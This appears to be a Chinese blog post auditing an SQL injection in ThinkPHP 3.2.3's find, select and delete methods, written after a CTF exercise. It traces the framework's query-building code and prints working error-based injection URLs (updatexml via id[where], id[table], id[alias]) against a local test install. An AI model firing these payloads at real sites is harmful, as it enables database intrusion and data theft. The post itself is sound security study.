ThinkPHP3.2.3代码审计【find方法引起的SQL注入】

前言

复习好无聊,就去刷刷CTFshow的题目,刷到一个TP3.2.3的SQL注入,之前没分析过,就简要分析一下,也有利于我这菜鸡学习一下

简介

不只是find方法,由于select(),find(),delete()方法可能会传入数组类型数据,导致可能的SQL注入隐患。

环境搭建

上官网下载3.2.3完整版http://www.thinkphp.cn/donate/download/id/610.html

\Application\Home\Controller\IndexController.class.php:

public function index()
{
    $id = i('id');
    $res = M('users')->find($id);
    var_dump($res);
    //$res = M('user')->delete($id);
    //$res = M('user')->select($id);
}
分析
where: http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

直接分析find方法:

首先$option[where]的值即是我们传入的值,然后到Driver类中调用select方法。

其中又会调用buildSelectSql方法,这方法用来生成查询SQL语句的,跟进

buildSelectSql方法中有一个parseSql方法,这是很熟悉的方法了,它是用来替换生成SQL语句的,也是最容易出现问题的地方!!
在这里插入图片描述
单独看看这个替换SQL语句中表达式的方法:
它会用str_replace函数将一些参数替换进既定SQL模板语句中,最后返回这个SQL

既定SQL模板语句如下:

SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%

在这里插入图片描述
根据$opention的值,显然我们这里只有%WHERE%可以替换

那么我们就会调用:$this->parseWhere(),跟进看看
在这里插入图片描述
直接将$whereStr的值拼接进去SQL语句中了,变成了这样:

WHERE 1 and updatexml(1,concat(0x7e,database(),0x7e),1) #

显然这是能触发报错注入的,再看看最终的SQL语句:

SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,database(),0x7e),1) # LIMIT 1  

不仅仅parseWhere()可以触发,与之类似拼接的parseGroup()、parseHaving()、parseOrder()都能触发:

protected function parseGroup($group) {
    return !empty($group)? ' GROUP BY '.$group:'';
}

protected function parseHaving($having) {
    return  !empty($having)?   ' HAVING '.$having:'';
}
    
protected function parseOrder($order) {
	............

    return !empty($order)?  ' ORDER BY '.$order:'';
}

此外还有 parseTable()也能触发,可以用id[where]和id[alias]参数触发。我懒就不分析这个了。

//Think/Model.class.php
protected function _parseOptions($options=array()) {
..............
if(!empty($options['alias'])) {
            $options['table']  .=   ' '.$options['alias'];
        }
        // 记录操作的模型名称
        $options['model']       =   $this->name;
...............        
}


//Drover.class.php
protected function parseTable($tables) {
	.............
	
		elseif(is_string($tables)){
            $tables  =  explode(',',$tables);
            array_walk($tables, array(&$this, 'parseKey'));
        }
        return implode(',',$tables);
    }

payload
table:http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[table]=users where 1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1) %23

alias:http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[alias]=users where 1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1) %23

where: http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
																         		id[order]
																				id[having]
																				id[group]
修复

分析表达式的_parseOptions()的参数不再是我们可控的$option,导致我们的构造无法被利用
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值